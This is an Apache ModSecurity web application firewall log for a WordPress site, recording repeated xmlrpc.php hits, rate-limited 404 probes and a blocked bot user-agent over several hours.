[Thu Apr 30 08:22:43.825423 2026] [:error] [pid 18112:tid 18159] [client 35.234.37.132:35428] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKg0yUrJv3y8j6Lm1u8WgAAAEk"]
[Thu Apr 30 08:23:34.389781 2026] [:error] [pid 52436:tid 52453] [client 198.199.77.203:47948] [client 198.199.77.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.199.77.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKhBgLFWPk_P7AfE8f_WQAAAU4"]
[Thu Apr 30 08:24:15.178400 2026] [:error] [pid 18111:tid 18135] [client 35.234.37.132:35436] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKhL2ctLbxB7Q1_oK2V0gAAAA0"]
[Thu Apr 30 08:25:27.978790 2026] [:error] [pid 18111:tid 18144] [client 217.182.82.42:53346] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKhd2ctLbxB7Q1_oK2WTQAAABY"]
[Thu Apr 30 08:25:43.897577 2026] [:error] [pid 18111:tid 18138] [client 96.9.125.116:45912] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKhh2ctLbxB7Q1_oK2WXQAAABA"]
[Thu Apr 30 08:25:51.998224 2026] [:error] [pid 52436:tid 52446] [client 137.184.46.218:35512] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKhjwLFWPk_P7AfE8cAIQAAAUc"]
[Thu Apr 30 08:41:21.813582 2026] [:error] [pid 18113:tid 18180] [client 162.19.25.160:43318] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKlMXiIjwsVGkvz5IllJgAAAIM"]
[Thu Apr 30 08:43:12.067067 2026] [:error] [pid 53641:tid 53670] [client 51.210.113.223:50278] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKloGC119wja3QGeAF7mwAAAZI"]
[Thu Apr 30 08:49:03.637791 2026] [:error] [pid 18220:tid 18234] [client 107.180.252.236:52436] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKm_8yESVSfAPebmxYEVwAAAMs"]
[Thu Apr 30 08:59:45.693273 2026] [:error] [pid 18111:tid 18122] [client 172.161.19.100:12488] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afKpgWctLbxB7Q1_oK2iYQAAAAA"]
[Thu Apr 30 08:59:46.681072 2026] [:error] [pid 18220:tid 18235] [client 172.161.19.100:19082] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afKpgsyESVSfAPebmxYFHwAAAMw"]
[Thu Apr 30 08:59:47.635659 2026] [:error] [pid 52350:tid 52361] [client 172.161.19.100:12441] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afKpg_1j4GHE9hm7bfdg0AAAAQM"]
[Thu Apr 30 08:59:48.628049 2026] [:error] [pid 18112:tid 18150] [client 172.161.19.100:12424] [client 172.161.19.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.php7"] [unique_id "afKphCUrJv3y8j6Lm1vFOgAAAEA"]
[Thu Apr 30 09:02:19.264933 2026] [:error] [pid 18113:tid 18188] [client 20.84.7.202:27840] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKqG3iIjwsVGkvz5IlnGQAAAIs"]
[Thu Apr 30 09:09:22.114092 2026] [:error] [pid 18111:tid 18123] [client 137.184.46.218:53436] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKrwmctLbxB7Q1_oK2mFQAAAAE"]
[Thu Apr 30 09:16:24.040044 2026] [:error] [pid 52436:tid 52451] [client 64.92.9.212:60032] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKtaALFWPk_P7AfE8cEzwAAAUw"]
[Thu Apr 30 09:17:30.213723 2026] [:error] [pid 52350:tid 52370] [client 54.38.195.241:34712] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKtqv1j4GHE9hm7bfdjTgAAAQw"]
[Thu Apr 30 09:25:44.514732 2026] [:error] [pid 18112:tid 18163] [client 212.125.4.206:41002] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKvmCUrJv3y8j6Lm1vJFgAAAE0"]
[Thu Apr 30 09:28:01.831798 2026] [:error] [pid 18112:tid 18160] [client 35.226.125.165:52852] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKwISUrJv3y8j6Lm1vJSAAAAEo"]
[Thu Apr 30 09:42:26.104388 2026] [:error] [pid 18112:tid 18170] [client 157.66.27.30:44440] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKzgiUrJv3y8j6Lm1vLhgAAAFQ"]
[Thu Apr 30 09:43:03.007190 2026] [:error] [pid 18220:tid 18243] [client 160.250.186.233:42342] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKzp8yESVSfAPebmxYKUAAAANQ"]
[Thu Apr 30 09:47:11.605946 2026] [:error] [pid 18111:tid 18128] [client 185.108.129.81:58882] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK0n2ctLbxB7Q1_oK2y7QAAAAY"]
[Thu Apr 30 09:54:47.057991 2026] [:error] [pid 18111:tid 18139] [client 137.184.46.218:42034] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK2Z2ctLbxB7Q1_oK21hQAAABE"]
[Thu Apr 30 09:57:44.379895 2026] [:error] [pid 53641:tid 53677] [client 164.132.207.73:54506] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK3GGC119wja3QGeAGM4AAAAZg"]
[Thu Apr 30 10:01:47.565895 2026] [:error] [pid 53641:tid 53660] [client 147.93.157.194:32874] [client 147.93.157.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.157.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK4C2C119wja3QGeAGNhAAAAYg"]
[Thu Apr 30 10:10:09.891924 2026] [:error] [pid 53641:tid 53670] [client 141.94.27.49:59094] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK6AWC119wja3QGeAGOwQAAAZI"]
[Thu Apr 30 10:12:14.230698 2026] [:error] [pid 18112:tid 18171] [client 121.170.188.114:57194] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK6fiUrJv3y8j6Lm1vQAgAAAFU"]
[Thu Apr 30 10:14:07.793147 2026] [:error] [pid 18111:tid 18139] [client 128.140.11.209:47964] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK672ctLbxB7Q1_oK28OgAAABE"]
[Thu Apr 30 10:30:32.119450 2026] [:error] [pid 18112:tid 18161] [client 51.210.113.223:45858] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afK-yCUrJv3y8j6Lm1vSswAAAEs"]
[Thu Apr 30 10:43:20.677992 2026] [:error] [pid 18112:tid 18155] [client 167.86.71.49:38300] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLByCUrJv3y8j6Lm1vUoAAAAEU"]
[Thu Apr 30 10:45:31.347012 2026] [:error] [pid 18111:tid 18122] [client 107.180.252.236:33594] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLCS2ctLbxB7Q1_oK3IOQAAAAA"]
[Thu Apr 30 10:47:59.553610 2026] [:error] [pid 53641:tid 53655] [client 128.140.11.209:55890] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLC32C119wja3QGeAGXhAAAAYQ"]
[Thu Apr 30 10:56:01.511016 2026] [:error] [pid 18220:tid 18233] [client 15.235.163.7:45276] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLEwcyESVSfAPebmxYRIAAAAMo"]
[Thu Apr 30 10:57:12.351673 2026] [:error] [pid 52350:tid 52362] [client 34.101.217.251:58530] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLFCP1j4GHE9hm7bfdwjAAAAQQ"]
[Thu Apr 30 10:57:13.495979 2026] [:error] [pid 52350:tid 52365] [client 217.182.82.42:45972] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLFCf1j4GHE9hm7bfdwjQAAAQc"]
[Thu Apr 30 11:04:10.360294 2026] [:error] [pid 53641:tid 53650] [client 185.51.79.114:47522] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLGqmC119wja3QGeAGbogAAAYA"]
[Thu Apr 30 11:09:40.046874 2026] [:error] [pid 18111:tid 18124] [client 43.165.170.119:56134] [client 43.165.170.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afLH9GctLbxB7Q1_oK3QgQAAAAI"]
[Thu Apr 30 11:22:00.916423 2026] [:error] [pid 52350:tid 52367] [client 217.70.186.133:41900] [client 217.70.186.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.70.186.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLK2P1j4GHE9hm7bfdzvwAAAQk"]
[Thu Apr 30 11:23:42.049436 2026] [:error] [pid 53641:tid 53674] [client 64.92.9.212:54646] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLLPmC119wja3QGeAGfwQAAAZY"]
[Thu Apr 30 11:24:03.634506 2026] [:error] [pid 18112:tid 18164] [client 160.250.186.233:55552] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLLUyUrJv3y8j6Lm1vc7wAAAE4"]
[Thu Apr 30 11:28:17.861061 2026] [:error] [pid 18112:tid 18156] [client 103.186.241.154:5380] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLMUSUrJv3y8j6Lm1vdowAAAEY"]
[Thu Apr 30 11:31:26.940587 2026] [:error] [pid 53641:tid 53673] [client 54.38.195.241:46620] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLNDmC119wja3QGeAGiCAAAAZU"]
[Thu Apr 30 11:47:50.357154 2026] [:error] [pid 52436:tid 52460] [client 163.61.60.30:48864] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLQ5gLFWPk_P7AfE8cTkwAAAVU"]
[Thu Apr 30 11:50:01.408801 2026] [:error] [pid 18220:tid 18226] [client 96.9.125.116:47282] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLRacyESVSfAPebmxYYFQAAAMM"]
[Thu Apr 30 11:52:54.877278 2026] [:error] [pid 53641:tid 53651] [client 164.132.207.73:54694] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLSFmC119wja3QGeAGnxgAAAYE"]
[Thu Apr 30 11:55:51.046320 2026] [:error] [pid 18220:tid 18237] [client 77.95.113.65:33430] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLSx8yESVSfAPebmxYYtQAAAM4"]
[Thu Apr 30 12:06:36.455138 2026] [:error] [pid 18111:tid 18123] [client 141.94.139.189:36516] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLVTGctLbxB7Q1_oK3kVQAAAAE"]
[Thu Apr 30 12:11:00.958063 2026] [:error] [pid 18111:tid 18132] [client 204.48.18.182:45676] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLWVGctLbxB7Q1_oK3mIwAAAAo"]
[Thu Apr 30 12:47:08.757784 2026] [:error] [pid 18113:tid 18196] [client 46.62.219.188:39528] [client 46.62.219.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.219.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLezHiIjwsVGkvz5Il49QAAAJM"]
[Thu Apr 30 12:54:08.003869 2026] [:error] [pid 18112:tid 18158] [client 128.140.11.209:39370] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLgcCUrJv3y8j6Lm1vs4AAAAEg"]
[Thu Apr 30 12:58:11.421970 2026] [:error] [pid 52436:tid 52444] [client 146.190.155.17:37190] [client 146.190.155.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.155.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLhYwLFWPk_P7AfE8cZWAAAAUU"]
[Thu Apr 30 13:03:04.156781 2026] [:error] [pid 53641:tid 53665] [client 77.95.113.65:53856] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLiiGC119wja3QGeAG23gAAAY0"]
[Thu Apr 30 13:04:07.269820 2026] [:error] [pid 18111:tid 18137] [client 155.133.142.66:63498] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLix2ctLbxB7Q1_oK34ywAAAA8"]
[Thu Apr 30 13:06:03.345726 2026] [:error] [pid 18111:tid 18127] [client 35.226.125.165:57226] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLjO2ctLbxB7Q1_oK35_wAAAAU"]
[Thu Apr 30 13:21:06.093930 2026] [:error] [pid 52436:tid 52440] [client 51.75.54.138:46618] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afLmwgLFWPk_P7AfE8cbKgAAAUE"]
[Thu Apr 30 13:24:09.537319 2026] [:error] [pid 53641:tid 53663] [client 104.28.160.144:42755] [client 104.28.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afLneWC119wja3QGeAG8QAAAAYs"]
